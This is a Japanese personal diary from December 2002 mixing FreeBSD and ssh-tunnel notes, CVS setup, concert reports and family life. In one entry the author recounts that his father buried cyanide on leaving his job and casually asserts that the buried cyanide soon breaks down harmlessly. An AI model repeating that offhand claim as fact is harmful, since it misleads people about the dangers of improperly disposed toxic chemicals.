次回はぜひ９割で楽勝合格したい。
従って、数日間修行してから再挑戦なのだ～(^^)/。
＃ちなみに~~ねこ森リミテッド~~ ~~ねこ森集会リミテッド~~「ねこ森集会リミテッド」は
＃日曜日で124番。
＃最近、座席等の運が異常に良かったので仕方ないです。
＃日曜日の方が希望者が少なくて、よい座席になる確率が高いかと
＃思ったが、失敗であった。
↑なんかあっちこっちの日記や掲示板に「あたってうれしい」と書いてありますが、そういうものなのですか。当然土曜か日曜のどっちかには行けるのかと思っていましたが。
日記を CVS
覚え書き。cvs/ssh の設定。

CVS_SSH=ssh
CVSROOT=:ext:hostname:リポジトリ

例えば、

CVSROOT=:ext:evariste.dd.que.ne.jp:/usr/home/kagami/cvsroot

現行のプロジェクトと日記(^^;を CVS 化。
アップロードシェルに次のコミット文を追加。
```
----------------------------------------------------------
# commit
for i in `(find . -type d | grep -v CVS)`
do 
    cvs commit -m "`date`" $i # 一人なので競合は考えない
done
----------------------------------------------------------
```
「ssh であそぼう」シリーズはひとまず終了。
↑そんなシリーズ聞いたことがない(^^;。
ところで、専用の NAT ルーターで特定のポートに穴を開けて、外からメールサーバー謙 CVS server にアクセス可能にしているのですが、例えば内側から

$ ssh evariste.dd.que.ne.jp

としてもうまく行きません。内側からアクセスするには、
$ ssh 内側のローカルアドレス

とする必要があります。なにかよい作戦はないですかな。手作業で入るには問題ないのですが、CVSROOT 等の環境変数を変えるのは大変。

2002年12月18日(水)

紅白歌合戦
どうでもよい話ですが、もう審査員は決まっちゃったのですか。
さすがに難しいかな。
ねこ森集会リミテッド
入場用の葉書が来ました。整理番号３桁(^^;。
一般の場合は「猫」。リミテッドの場合は「ねこ」(^^;。
覚え書き・ssh トンネル実践編
昨日、某社を訪問したので、さっそく pop3 と sendmail の実践。トンネル用の ssh で端末が出てくるのはわずらわしいし、思わず logout したり、右上の「ばつ」を押してしまう危険があるので、 -f オプションを使用して、バックグラウンドで動作させる。 ~~ここで問題になるのはセッションを維持するためのダミーのコマンド。~~

$ ssh -f -L 8110:evariste.dd.que.ne.jp:110 evariste.dd.que.ne.jp \
sleep 100000000

とでもやれば一億秒裏で頑張ってくれるので、全く問題無いのですが、ちょっと不愉快。pause(3) というライブラリ関数に対応したコマンドがあるかと思ったらないのですね(^^;。仕方がないので本当に一行の pause() 呼び出しプログラム、その名も pause を作成。それで、

$ ssh -f -L 8110:evariste.dd.que.ne.jp:110 evariste.dd.que.ne.jp \
pause

$ ssh -N -f -L 8110:localhost:110 evariste.dd.que.ne.jp

という感じで pop3 トンネル ssh を実行。同様に sendmail 用、

$ ssh -N -f -L 8025:localhost:25 evariste.dd.que.ne.jp

あとはメーラーの設定を変えてちゃんと動作しました。evariste.dd.que.ne.jp の sendmail から見れば配信依頼が localhost から来たように見えるので、特に設定なしで問題なく配信してもらえます。
vtund の様にトンネルデバイスを使用しないので root になる必要がないのもよろしい(^^)。

2002年12月17日(火)

小さいひとと口げんか
９歳のモカと口げんかしてぜんぜん勝てないのだヽ(^^;)ノ。
2月末の会津地方
昔住んでいたのでひとこと。
とんでもないどか雪が降ることが多いので、ゆめ油断なさるな。
ssh トンネル・応用編
最近人様の会社をおじゃまして LAN 経由で Internet に接続させていただくこともあるのですが、万が一メールの内容を見られるとちょっと不愉快。そこで ssh のトンネリングの応用。やることは非常に簡単。
- Mew の pop3 ホストを localhost、ポートを 8110 と定義する。
- $ ssh -L 8110:~~evariste.dd.que.ne.jp~~localhost:110 evariste.dd.que.ne.jp
- 以下は普通の操作。送信も同様。
evariste.dd.que.ne.jp は自宅のメールサーバーです。これだけでメールの内容は全部 ssh レベルで暗号化されます。
実を言えば ssh で普通に login してサーバーのメールボックスに(~/Mail/...) バックアップされたメールをサーバーの Mew で読んだり、どこかに出すときはサーバーから直接だせば良いのですけど。家で vtund を動作させておく作戦もあります。
HTTP トンネル
ssh トンネルと同様の原理で、HTTP のポートを利用したトンネルを掘ることが可能です。どこかにサーバーを立てなければならないのが難点ですが、条件が整っていれば Proxy を透過的に越えることが出来そうです。例えばここに方法が記述されています。
グーグルで "http トンネルプロキシ" をキーワードで検索するといろいろ出力される様です。
ある意味、Port 80 を利用した VPN ですね。トンネリングは IP の「裏技」という感じで、いろいろなトリックで遊べるのが面白いところです。

2002年12月16日(月)

曲名 + mp3
アクセスログをみると、例えば「鳥籠姫 mp3」とか「谷山浩子 mp3」なんていう検索がヒットしてこちらにいらっしゃる方が非常に多いのですが、都合良く mp3 ファイルが転がっている場所を探しているのだろうか。もちろんそんなもの置いてありません。
ちなみに crypt.tex と crypt.pdf は引きが多くて、ちょっとは役にたっているかも知れない。
＃豆知識右利きでノート PC だと難しいな。そもそも実力があっての話(^^;。
白血病・首が回らない
まことに不思議なのですが、血液検査をするたびに、白血球数が普通の人の２倍あるのです。しかも 20年以上ずっと。特に自覚症状もないし、面倒なので精密検査もしていないのだが、どうしてなんだろう。
最近は、血圧と血糖値の方が恐い。やることはおばかでも、やっぱり年ですな(^^;。
朝 5時に目が覚めたら、寝違えて首が回らない(^^;。
肩や腕も痛いのだ。
それでは三択問題。真面目な問題です。さて、次の病気で感染した初期に白血球が増えないのはどれでしょう。
1番エイズ
2番狂牛病
3番インフルエンザ

正解はこんど。
日記のページの見栄え
見栄えなんてないという突っ込みはご容赦頂きまして、この日記ページ(日記だけ)の見栄に関しては意外と気に入っております。理由といたしましては、
- 見掛け上はそれなりの構造がある。
- テキストブラウザで見易い。本人はテキストブラウザでしか見ないので。
- バグさえなければ(^^;、普通のブラウザでも極端に読みにくいことは無いと思われる。先日初めて(^^; IE で見たが特に見苦しくはなかった。
もちろん自慢出来るようなページではないのですが、たまに手間をかけた割りに、わざと読みにくくしていると思われる様なページもあるので、そういうのよりはちょっとよいかな～(^^;と思ったりします。もちろんここに来て下さっていると思われるお客様のページは、みんなとっても読みやすいのです。
日記ではないけど、こういうのってわざと読みにくくしているとしか思えないのです。
他のページの見栄えをなんとかしないと。それから、日記をトップにする計画はどーしたの。いや、最近玄関から入室なされるお客様もほとんどいない様なので、もうどーでもいいやって(^^;。
＃ちょっとピンクっぽくしました。「前の方がよかった」という方は教えて下さい。

2002年12月15日(日)

烏籠姫
目が疲れるのだ。もちろん間違わなかったけど(^^;。
正答率より 3分13秒が驚異(^^;。
調子が良い自宅サーバー
導入して３週間位経過した自宅ノートサーバーですが、CDROM 装置の抜き挿しを一度ずつ行ったときと make world で熱暴走したとき以外は、無停止で変な動作もしていない様です。熱暴走に関しては AC アダプターの線を抜いて電源を入れるという消極策でなんとかなるでしょう。実質は sendmail と qpopper とたまにバックアップ等のファイルのアクセス、オーディオデバイスのアクセスがあるだけなので非常に暇なサーバーではあるのですが。
調子が良くない無線 LAN
無線 LAN のハードウエアのことではなく、FreeBSD のデバイスドライバの実装のことなのです。先日、某会社さまを訪問致しましたところ、そちらは無線 LAN 電波が飛び回っている環境でして、当然わたくしの PC にも ssid が表示されたりしたのです。ところがしばらく使っていると、マウスの動きが非常にとろくなってきまして、場合によっては 5秒間くらい全く動作しない様になってしまったのです。
なんとか動作したタイミングでコンソールをみると、wi0 なんたらかんたら (忘れた^^;)というメッセージが表示されていて、どうもそれが原因で他の割り込みやプロセスの動作がじゃまされていた様です。
うちに帰ってから wi デバイスドライバのソースを見ると、非常に優秀な人が大変な苦労をして書かれたのは良く分かるのですが、

電波の調子が悪くなったときの kernel 内での状況変化待ち polling が多い。

ということが判明しました。ちょっとこーゆー書き方はまずいですな。もちろん「使わさせて頂いている」という身分ですので文句をいう筋合いではありませんし、「自分で直せばいいじゃないか」と言われれば、「へへーm(__)m、お奉行さま、おーせのとーりでございます」とひらにご容赦頂くしかないのですが、やっぱり不便(^^;。
直せと言われても、ハードウエアのデータ─シートがないといじれないし。
自宅サーバーは移動しないので、電波が安定していてうまくいってるんでしょう。
ちなみに ifconfig wi0 down としたら調子良くなりました。こういう、状況が変化することを考慮するドライバーを書くことが、非常に難しいことは確かです。そもそも「状況の変化で割り込みが入る」という、ハードウエアの支援が不十分なので、 polling 以外の方法が無いのかも知れません。
Polling しているのは /usr/src/sys/dev/wi/if_wi.c の 996行あたりの wi_cmd() 内です。

2002年12月14日(土)

100000
おめでとうございます(^^)。
ピアノ教室
大阪の影響を受けたのではないでしょうが、今日はピアノ教室でなんと 8月生まれの人のお誕生会(^^;。ピアノの先生とうちの奧さまが 8月のおんなじ日が誕生日なので、口実を作ってミニコンサートをやろうということらしいのです。
例年だと私もしゃしゃり出て、下手なドラムをたたいたりするところですが、ご存じの様に(^^;今年は肝心なときにコンサート通いしてまともな練習出来ずに断念。せいぜい楽しんで来ます(^^)。
というわけで、楽しい生カラオケ大会にいってきました。私が６年位前に演奏した「メンデスルゾーン・無言歌集・ベニスの舟歌」のビデオを流してくれて、それを今回はモカが演奏するという趣向もあり、とてもうれしかったです。どちらが上手かって。ミスはわたしの方が少なかったが、音楽的には。。。それは言わないでおこう(^^;。
Subject:
そういう事情があったのですか。ただせっかく subject mime enocode というちゃんとした規約があるので、私としては積極的に日本語を使いたいのです(^^;。
正直いって、某メーリングリストの Subject 一覧にアルファベットが並ぶのは悲しいです。だけど、それでどうしても読みにくい人が~~多いとなると~~何人かいるとなると、考え直さないとな。日本語対応は一番良いと思われるメーラーを使用して、自由にインターネットを歩きまわれる環境なので、ちょっと感覚が麻痺してるかも知れませんね。
それで自分なりの規則。全く影響力ないが、
- 別に英語やローマ字で問題ない場合はそれで投稿。
- 曲名のパロディーを題名にすることがあるので(^^;、その場合は日本語。
- 投稿に対する Reply はオリジナルを尊重。
こんなところです。

2002年12月13日(金)

続・曲名バグ
お早うございます(^^;。現在曲名データを整備したりと努力はしておりますが、完全にバグをなくすのは非常に困難であると思えてきました。従って、今後もマント牛さまのお手数をおかけすることもあるかと思いますが、宜しくお願い致します。
＃別件ですが了解しました。
＃もうちょっと修行してから(^^;。
＃OK を押したあと、モジラだと文字化けします。
＃エンコードを自動でなく Shift-JIS に指定すると回復。
＃charset 情報を入れれるならば、入れた方が良いかも知れません。
帰ってきた CDROM ドライブ
交換品が戻ってきました。壊れていたことは間違いないので、送りつけた段階で予想はついていました。やれやれ。なぜか名古屋で買った Maria Joao Peris 演奏の Chopin Preludes を mp3 化。もともとはクラシックのピアノを聴く人ですから。
何となく前より速度が速い気がします。あと、前のドライブはもともとこんなに静かじゃなかったぞ。きっと軸が微妙にずれてたんだろうな。
千人分の致死量の青酸カリ盗まれる
十年以上前に亡くなった私の父は、青酸カリ等の薬品をたくさん使用する仕事をしていたが、定年退職の時に処分に困って数千人分の致死量を職場の庭に埋めてきたのだ。こーゆー「困ったら隠してしまえ」的な性格が遺伝しておりますな。
＃ちなみに青酸カリは埋めてしまえば、すぐに風化して炭酸カリウムと窒素に
＃分解するはずなので、もう大丈夫だと思う。
＃まあ、最初のうち少しは青酸ガスが出たかも知れないが。

2002年12月12日(木)

覚え書き ssh トンネルの堀り方
例えば evariste.dd.que.ne.jp に ssh 経由で telnet(意味ないが)を通したい場合。
$ ssh -L 8023:~~evariste.dd.que.ne.jp~~localhost:23 evariste.dd.que.ne.jp
別の端末で
$ telnet localhost 8023
IPsec の特に鍵交換の部分がこれだけ複雑怪奇、かつ非効率な実装な現状では、暗号化に ssh トンネルを使用するのが一番実用的であると思われます。また kernel 内での SPD,SA の検索も非効率であり、実用には難関が多いと考えられます。 IPsec の苦しいところは、一般的、拡張可能な仕様は考え方としてはよいのですが、実装は非常に大変なこと。もう一つは認証に対して重きを置きすぎた点が考えられます。実際にわれわれが通常使用する暗号の場合、パスワードやメールの内容を他人、特に権力機構に盗みみられないことが主目的であり、認証に関しては通常そんなに気にしないと思うのです。ところが IPsec は IPv6 とのからみもあって意外とメーカーが口を出している規格の様で、例えばマルチメディア配信の「課金」を意識しすぎていたりするのです。メーカーが前面にでると仕様が複雑化するのはものの常であり、 IPv6 はともかく IPsec に関しては楽観できない状況の様に思います。
覚え書き・系統樹プログラム Molphy
このページの手順で Molphy をダウンロードしてコンパイル。このドキュメントを参照すれば理論的には系統樹のことはいろいろ出来そう。ドキュメントはとっても難しそう。ここがトップページらしいです。なんとなく使い方が書いてあるのがここ。UNIX 環境じゃないと難しそうですね。用途違いと思われる(^^;。
日記の価値
とくに役に立つことは書いてないし、文章も上手でない。だけどなくなってしまったらとても悲しいでしょうね。ちょっと読んでみても、明らかに書くことがなくて無理している日もたくさんあります。人様からみるとこれといった価値はないけれど、自分にとっては大切なものの典型ですね。
それでも、8ヶ月間毎日書いているわけで、この日記つながりで何人かお友達もできたと思うし、人様の日記を読ませて頂くと考えさせられることや、勉強になることもたくさんあります。
もちろん「記録」としても思ったより役にたっています。継続ということは意外と重要なのかも知れませんね。
ちなみにこの日記の特徴として、ソースで読んでもブラウザで読んでもほとんど違いがないことが上げられます(^^)。
アップロード自体が２重バックアップになるので、積極的なバックアップは行っていません。
現在までの日記の総バイト数は約 570Kbytes。圧縮すると 230Kbytes。フロッピー一枚ってたくさん入るのね(^^;。

2002年12月11日(水)

AirH" in 新幹線
わたしは系統樹のことは知らないです(^^;。ちなみに「AirH" in 新幹線」は最初の送信はすんなりうまくいったと思ったら「パスワードなし」で怒られて(^^;打ち込み直し。その後急激に状況が悪化し、なかなか入力画面が出てこなくなり、仕方がないのでエディターにて打ち込み待機。3分くらい待ったら画面が出てきたので張り付けて送信。全然完了しないのでやり直して3回位やったらやっと成功。ほかのことやってて忘れた頃に画面が出てくるのでありました。
＃「こだま」だったらもうちょっといいのだろうが「のぞみ」ではなぁ。
＃そもそも新幹線って昔はモスラみたいな顔でかわゆかったのに、
＃「のぞみ」はかわゆくないのが致命的なのだ。
バグ修正(^^;
曲名のバグじゃなくって HTML のバグ。
<a href="なんとか">ふがふが<a>
なる間違い２個所発見(^^;。もう何回間違えたか数えきれないです。単に <a> を fgrep すればチェック出来そうです。わたくし自分のページは w3m でしか見なくて、たまに Mozilla で見るのですが、←オイ(^^;、どちらでももっともらしく見えてしまうのが致命的ですね(^^;。
ちなみに table は HTML で記述する能力がないので、LaTeX で書いて latex2html で変換したのを張りつけるので間違っていないと思うのですが。ただ HTML になったのをいじることはあるのでちょっと心配。
```
-----------------------------------------------------------
#!/bin/sh

fgrep '<a>' diary/0000/newdiary.html
if [ $? = 0 ] # 発見
then
 echo "<a> found" 1>&2 # エラーは標準エラー出力へ
 exit 1
fi
-----------------------------------------------------------
```
なるチェックをアップロードシェルに追加。

散財記録

今年も残り少なくなってきました。今まで恐くて~~書けなかった~~計算できなかったのですが、勇気を出して去年の12月から今までの散財記録。わたくし極めてずさんな性格なのであくまでも概算です。
散財対象はコンピュータ・通信関連と谷山浩子さん関連で、去年までは散財しなかったと思われるもの。谷山浩子さん関連費用を散財などというと不愉快な思いをされる方もいらっしゃるかも知れませんが、そこはほれ、「必要経費記録」じゃ面白くもなんともないので、ひらにご容赦を(^^;。

項目価格備考

R30 210,000 A4 IBM ノート PC。メモリー 256M追加

X24 230,000 B5 IBM ノート PC。メモリー 512M追加

無線 LAN 60,000 基地局x2 + カードx2。基地局一つは３日目に発火(^^;

AirH" 8,000 + 60,000 = 68,000 年間費用も含む

携帯 10,000 + 60,000 = 70,000 年間費用概算も含む

赤ポッチン(^^; 280x2 3 = ~~560~~ 840 他がとっても杜撰なのにこんなの書くなって(^^;

コンピュータその他 20,000 予備の AC アダプタ─等

谷山浩子さん CD 100,000 大体 30枚(^^;。岩男潤子さん含む

幻想図書館２不思議の国のアリス 6,500x3 = 19,500 概算。交通費含まず

猫森集会 6,500x8 = 52,000 概算。交通費含まず

大阪コンサート 6,500 + 24,000 = 30,500 概算。交通費含む

名古屋コンサート 6,500 + 20,000 = 26,500 概算。交通費含む

FC、楽譜、グッズ等 30,000 概算

谷山浩子さんその他 30,000 交通費等

合計 ~~947,060~~ 947,340 (=_=)

ひゃっ、ひゃくまんえん(^^;。さすがに来年はコンピュータ関連散財と谷山浩子さん CD 代の大部分が抜ける はずなのでだいぶ少なくなるでしょうが、今年って本当にすごかったのね。

＃火を噴いた基地局は当然交換してもらいました。
＃パソコンの軽量化と電波化の年だったのね。
＃そもそも足し算あってるかなぁ。

2002年12月10日(火)

FLASH
ちっちゃい写真に中島みゆきさんと二人で写ってますね。
覚え書き
X24 で audio デバイスを動作させるパッチ。今まで音が出なかったのです(^^;。
```
/usr/src/sys/pci/pci.c
1325a1326
> #define PCI_ENABLE_IO_MODES

/usr/src/sys/pci/pcisupport.c
696a697,698
> case 0x24488086:
> return ("Intel 82801CAM/CAM Hub to PCI bridge");
908c910,911
< 
---
> case 0x248c8086:
> return ("Intel 82801CA/CAM (ICH3) PCI to LPC bridge");

config に次の定義を追加。

device pcm
device smbus
device ichsmb
```
0x24.... という定数も config ファイルで定義できるといいのだが。これで R30 を ADSL モデムの近くに移動できるかな。今まではこれしか音楽を聴く手段がなかったから動かせなかったのです。移動しても無線の NFS 経由で mp3 を転送するのに十分な帯域がありそうです。別に急ぐ必要はないので将来可能ということで。
うーん
欲しいんだけど。にゃんにゃん。いやいや、これから半年間はなるべくおとなしくするのだ。ちなみに、一番派手なのを選んだのはわざとだったりします。あれほどバカに見えるとは思わなかった～(^^;。

2002年12月9日(月)

IBM への確認
IBM へ収集日時と収集指示物件の確認をしたところ、両方正しいデータが残っているということ。まあ、今回偶然あたった担当の人は色々問題がありますな。
モカ
昨日の午前中モカは PTA 主催バドミントン大会。16組中 3位。
午後は久々にモカのサイエンス倶楽部へ奧さまと 3人で。 12時に家を出て横浜へ行き帰宅したのが 18時頃。ところで家で話題になったのが、「なぜ電車やバスを待ってると、ほとんど例外なく反対方面が先に来るのか」。なぜだろう。
いっちょー(^^;
ついに一兆桁ですか。一兆と言うとおおざっぱに 1T バイトですね。大きいハードディスクが必要そうです。←そーゆー問題ではない(^^;。
現在その辺で売っているパソコンでも一億桁は計算できるのです。昔から個人が買える PC と世界最高速度のスーパーコンピューターで 1000倍から10000倍の能力の差がある様です。10年ちょっとで追い付きます。わたしたち 10年前のウン十億円のスーパーコンピューターをノートサイズで使っています。
ケータイの待ち受け
ケータイの待ち受け画面も季節に合わせて変更です。この前は evariste.que.ne.jp 経由で送って先頭の 100行以降カットされて失敗。今回は直接携帯に送ったが、なんと大きいまま送って失敗(^^;。
チャチャさま、どうもありがとうございます。
無線ルータ
現在わが家ではここに書いたようなネットワーク構成となっております。それで将来問題になるであろうものが、NAT router と書いてある機器。実はこれ、前の会社でころがっていた NetBSD/sh4 の箱なのです(^^;。評価用に使っていたのですが、別に返せと言われないし今後も言われないでしょう。それはいいのですが次の問題点があります。
- こわれたらそれっきり。
- telnet でログイン出来るので市販のルーターより自由度があるが、 Compact Flash しか入ってないので面白いことを行うには容量不足。コマンドも必要最小限しか入っていない。
- NetBSD は FreeBSD ほど詳しくない。
- 性能が極めて悪い。
というわけで、本当はメールサーバー謙ファイルサーバーとして第二の人生をまっとうしようとしてる R30 をルーター化したいのです。そこで理論的には大丈夫であろう無線 LAN 側で PPPoE が通るかの実験。ちなみに R30 と ADSL モデムの距離は離れているので Ethernet は使えないのです。
- 現在 ADSL モデムから NAT router につながっているイーサネットケーブルをハブに挿す。
- R30 にて wi0 をインターフェースとして PPPoE を動かす。無線 LAN のハブ基地は物理層とデータリンク層の変換をするだけなので、無線から Ethernet 経由で ADSL モデムを通って IP アドレスがもらえるはず。
やってみると問題なくインターネット接続は成功。ただ残念ながら R30 には無線 LAN カードは物理的に一枚しか挿さりません。X24 と R30 は Ethernet でつながっているので問題ないのですが、家族用 PC が浮いてしまうのです。惜しいですなぁ。USB 無線 LAN デバイスとか、Ethernet/無線コンバータが使えればよいのですが、前者は適当なものがあるか分からないし、後者はうわさによると不安定(^^;。まったく惜しい。

2002年12月8日(日)

IBM が取りにこない
昨日の 13:00 から 17:00 の間に取りにくると言うので、待っていたのに来なかった。まさかわざとじゃなくて、何らかの手違いでしょうから、月曜日に連絡して事情を聞きましょう。

↑今日取りに来ました。しかも本体のみ引き取りの指示。持っていって欲しいのは CDROM ドライブの方だってば。やっぱり、担当の人がちょっと問題あったかなぁ(^^;。
クリスマス
コンサートツアーが終わったと思ったら、もうすぐクリスマスですね。
バグ追放
コンサートに行って苦労してメモってきた曲目をアップしてしばらくすると、必ず次の現象が発生します。
- 某アンテナで某掲示板が浮き上がる。
- 某掲示板を見ると、牛だかスーパーマンだか良く分からないキャラが浮き上がっている。
- 曲名に間違があると指摘されている。
- わたしはいつも可愛い「ちゃぼ」でお礼をするので、なんとなく威圧感がある(^^;。 ←単に面倒でデフォルトにしてるだけ。
- 「おやじ」でお礼をしてもよいが、あまりに。。。まさかあのキャラ、わたしと会ってから作ったとかゆーことは(^^;。
それで間違いを指摘して頂けるのはもちろんうれしくて感謝しているのですが、いくらなんでも過去 5回以上例外なく間違いがあったのはとってもくやしい。間違いが多い原因としては、
- そもそもうかつな性格である。
- 最近詩は以前よりはるかに重視するようになってきたが、まだ曲名はあんまり重視していない。
- 今年突然にファン度が急上昇したので曲名を覚えきれない。
- まとまった曲名データベースを所有していない。
あたりだと思うのです。1 番目と 3番目の問題は、性格と現在の記憶力を考慮すると修復は不可能。2番目は努力はするが限界がある。というわけで、今後はこれをローカルにコピーしたファイルからコピーですね。
＃いずれにしてもありがとうございます(^^)。
＃やっぱりバカまるだしじゃない(^^;。やるんじゃなかった。

2002年12月7日(土)

名古屋公演

行く前の希望としてとして「ゆったりした気分で幸福感にひたりたい」と書きましたが、まさにその通りになりました。浩子さんが本当に楽しそうだったのが印象に残っています。浩子さんのコンサートに何回も行ったわけではないのですが、今回が一番楽しそうで生き生きしているなと感じましたね。歌声も本当にきれいに響いて、なにも考えないで聴いているだけで、ほんわか幸せになって来ました。曲目もそんなに派手な選曲ではないのですが、リラックスしてひたりながら聴くには最適な選曲かなと思います。全部よかったのですが、特に。。。本当に全部良かったです。無理に一曲選ぶなら「静かに」かな。この曲好きなんです。この一月位の間に、いろいろな人たちに「こういう聴き方もある」ということを教わって、そのあたりを意識して聴いたのも良かったのかも知れません。

行って良かった(^^)。

Ver 0.999... ＃一度初期バグがない状態で出荷したいものです(^^;。

曲名備考

銀河通信オープニング

星より遠い

さよならのかわりに

神様

仇

風になれ～~~みどりの大地に~~みどりのためにリクエスト

時の少女~~(リクエスト)~~ リクエスト

カントリーガール~~(リクエスト)~~ リクエスト

楽園のリンゴ売り

たんぽぽ食べて

てんぷら★さんらいず

まっくら森の歌

そっくりハウス

静かに

電波塔の少年

学びの雨

海の時間

僕は帰るきっと帰るアンコール

2002年12月6日(金)

名古屋公演日帰り遠征
今日は名古屋公演。適当な時間に家を出て新幹線で。準備品は行きの切符を買っていないこと以外は大阪の時とおんなじ。これで来年一月の猫森 Ltd は別として、半年くらいコンサートとはお別れでしょうね。それを考えると~~ちょっと~~とてもさみしいです。来年の一月からは生活の変化もあるから、丁度良いインターバルだと思うしかないですね。今回は集中してというよりも、ゆったりした気分で幸福感にひたりながら聴きたいものです。メモとりやアンケート書きは行わない予定。
＃アンケートは書きました。
＃「クラブ」に近い名前の人ではなく「ダイヤモンド」に近い人でした。
替え玉受験
今年長女は大学受験。残念ながら数学が特に出来るというわけではないのです。そこで話題となったのが、私が数学で替え玉受験(^^;したら得をするかどうか。それで長女の受験する大学の過去問をみると、一応全部解き方は分かるのですが、最大の問題は公式なんて大昔に忘れて分からないこと。長女に聞くと「この程度も問題なら 80点位はとれるかな～」。実際にちょこっとやってみると、「公式を求めるところから考える」必要があって決定的な時間不足。やはり無理な様ですね。偉大なり受験生。
＃そもそもどうやって替え玉になるのだ(^^;。
＃そういや夜行列車とか言ってた記憶が。違うかも知れないけど。
＃いずれにしても明日(今日か)はよろしく。
特殊相対性理論
そう言えば、アインシュタインの特殊相対性理論に出てくる光円錐って、因果律という意味での到達可能な世界と、到達不可能な世界を分ているのですね。別に深い意味はないんですが。最近意味不明度が増してるかも。
＃５回の連載とても楽しかったです。ありがとうございます。
＃今日は突貫工事無理でしょ。←そういう意味だったのかいまいち不明。

2002年12月5日(木)

調子が悪い CDROM
前にもちょっと書きましたが、最近 R30(X24 のベイと共有)の CDROM ドライブの調子が悪いのです。ドライブに CD を挿入すると、5回に4回位は異音がしてリード不可能。何か CD 自体にも傷をつけそうで不安。新しいのを買わなければいけなかな～。またお金が(^^;と思っていたのですが、良く考えてみると R30 はまだ保証期間内。
さっそく IBM の故障サポートセンターに電話。明らかにハード不良なのですが、 Windows じゃないからだめとか、切り分けがつかないとか 30分にわたって悶着して結局無償修理はしてもらえず(=_=)。さすがにこちらも納得出来ないので、偉い人に登場してもらいこちらの主張を展開。
- そもそも Windows インストール状態でないと修理しない根拠は。
- 仮に Windwos を再インストールする位なら新しい CDROM ドライブを買った方が安い。
- サーバーとして動作していて止められない。
- R30 でも X24 ベイでも不調。
- しょっちゅう R30 と X24 で入れ替えているので、そのストレスが原因で「あなたが悪い」というなら納得しないわけではない。
ってなわけで、IBM 殿にも建前があるらしく、修理ではなく故障確認ということで土曜日に CDROM だけを取りに来てもらうことに。やれやれ(^^;。
＃ R30 から抜いて X24 のベイに挿してから調子が悪くなったのは事実(^^;。
＃どうやって帰ってきたの？
見つからなかった Entrance
昨日は新宿で打ち合わせがあったので、その後秋葉原まで足をのばして、岩男潤子さんの CD を探しに。お目当ては Entrance。前にも書いたようにしばらく通販は自粛なのだ(^^;。それで分かったこと。
- 大きいところでないと置いてない。
- 通常の J-POP コーナーに置いてあることは少ない。アニメコーナーを探さないとだめ。
- アニメコーナーはゲームコーナーの近くにあるのが多いのは良いとして、アダルトコーナーの近くの場合も多い。この場合絶対にアダルト目当てと思わているに違いない(^^;。
- favoriteSongs は色々なところに置いてあったが Entrance はどこにもなかった(^^;。
うーん、やっぱり通販とか注文じゃないと手に入れにくいのですかねえ。
```
  求む、東京・神奈川で Entrance の置いてある店情報(^^;
```
それにしても、４７才のおっさんがアニメコーナーをうろついているのもさぞかし怪しいでしょうな。
```
＃アニメ専門店は品揃えが分からないし、ますます怪しまれそうで
＃入れなかった(^^;。
＃前の日記をみると通販自粛なんてどこにも書いてなくて、
＃CD 購入自粛と書いてあったりします(^^)。
```
幸い携帯という連絡に便利なものがあるので、近くの CD 屋さんに注文しようかな。
R30 の熱
昨日ふたをした状態で R30 に負荷をかけると非常に温度が高くなり、場合によってはハングしてしまうと書きましたが、教えてくれた方がおられまして、「ノート PC はふたを開けた状態で放熱する様に設計されている場合が多い」そうです。知らなかったです(^^;。
人間が画面に向かって作業するのを前提としているのですね。ということで 700MHz 運転はある意味正しい運用方法と言えるようです。
ただし X24 の場合ふたを閉めて負荷を書けても全然問題がないので、こういう買うときには気が付きにくい部分の設計が価格にも反映しているのかもしれませんね。
＃やっぱり関係ないすか。 GENERIC で OK で MULTICPU(てきとーな名前)で
＃だめというのが困ったものですな。
101の質問回答集
11月23日以降雪崩れを切ったようなペース。みんな自分の感じ方を書きたいのですね。そういう場所を作っていただけるというのは非常にうれしいのであります。まだ全部読ませてもらっていないのですが、好みの曲やアルバムを比べるだけでも面白いですね。当然「谷山浩子さん」という一本の線でつながっているのですが、その解釈と言うか感じかたが人それぞれでとても面白いです。
再帰の再帰
```
ループ ---> その中で再帰 ---> 内側のループ ---> その中で別の再帰
```
さすがの再帰好きも頭がいたくなりますな(^^;。完全な個人ねたです。

2002年12月4日(水)

福岡と名古屋
あっというまにコンサートツアー最終日程ですね。福岡に行かれる方お気をつけて。しかし私のイベントカレンダーって、自分が行かない場合コンサート会場さえ書いてないのね。ほんとに役立たず。
名古屋クライシス
昨日モカは風邪と発熱と下痢と吐気で学校お休み。私も今日起きたら熱っぽくてふらふらする。まずい、名古屋は大丈夫なのだろうか。はってでも行くが。
↑単に眠かっただけですね。
負荷に弱い R30
今やメールサーバーとして、第二の人生を歩んでいる R30 ですが、サーバーということで机の下の余り空気が流れない場所に置いてあるのです。それで前からうすうす感じていたのですが、「ふたを閉めて」重い作業、例えば make world を行うと非常に温度が高くなり、場合によりハングアップしてしまうのです。サーバーにする前はふたが空いている場合が多くて表面化しずらかったのでは。
うーむ、情けない設計。R シリーズの最初でIBM にしては安かったですからねぇ。
それで対策なのですが、
- AC アダプタを抜いて電源を入れる。すると、普通は 1GHz の CPU が電源対策のために 700MHz で起動する。
- この後 AC アダプタを挿しても FreeBSD だと 1GHz に復帰しない。この現象は昔は不愉快だったのですが、この様な事態になった場合好都合です。実験によるとこのクロックで動作している場合は問題のない発熱量です。
というわけでして、せっかくの 1GHz マシンもサーバーとなってからは 700MHz マシンに格下げです。まあ、ベンチマークでもやらないと違いが分からないんだけど(^^;。

2002年12月3日(火)

くつ
靴の話はきらいだ(=_=)。
それでは算数の問題。茶色のくつと黒いくつがそれぞれ一足ずつありました。さて、左右違う色の靴をはいて会社へでかける確率はいくらでしょう。ただし、足と靴の左右は間違えないものとします。
考える気にもならん。まったく不愉快だ(-_-)。
解答
ちょっと考えると分かるように 1/2 です。ただし実際に精密なる実験・観察を行うと、２０年間に２回この様な現象が観測されております。一年２５０日出勤として、
```
  2/(250*20) = 0.04 %
```
しかも他の人のサンプルを調査すると、この確率は 0 だと言うのです。この理論と実験の確率ギャップは「四足問題」と呼ばれ２１世紀に残された難問です。まったく不愉快だ(^^;。
お手紙
お手紙ありがとうございました。しかしどうして会ったことがないのに頭が。。。
↑そりゃ分かってました(^^;。まあ話のねたをつくるためでして。
dd コマンドと DMA
はずしている可能性 99% ですが、 cat コマンドでなくわざわざ dd コマンドを使うのは書き込み等のブロックサイズを指定したいからだと思います。例えば dd で bs パラメータを 1024k と指定した場合、 DMA バッファが 1M バイト必要となる可能性があります。果たしてそんなに kernel でアローケートされているかなあ。
＃全然分かっていないのですが、本当にブロックサイズ 1024k なのですか。

2002年12月2日(月)

Moon Song
届きました。スタッフの皆様お疲れ様でした。
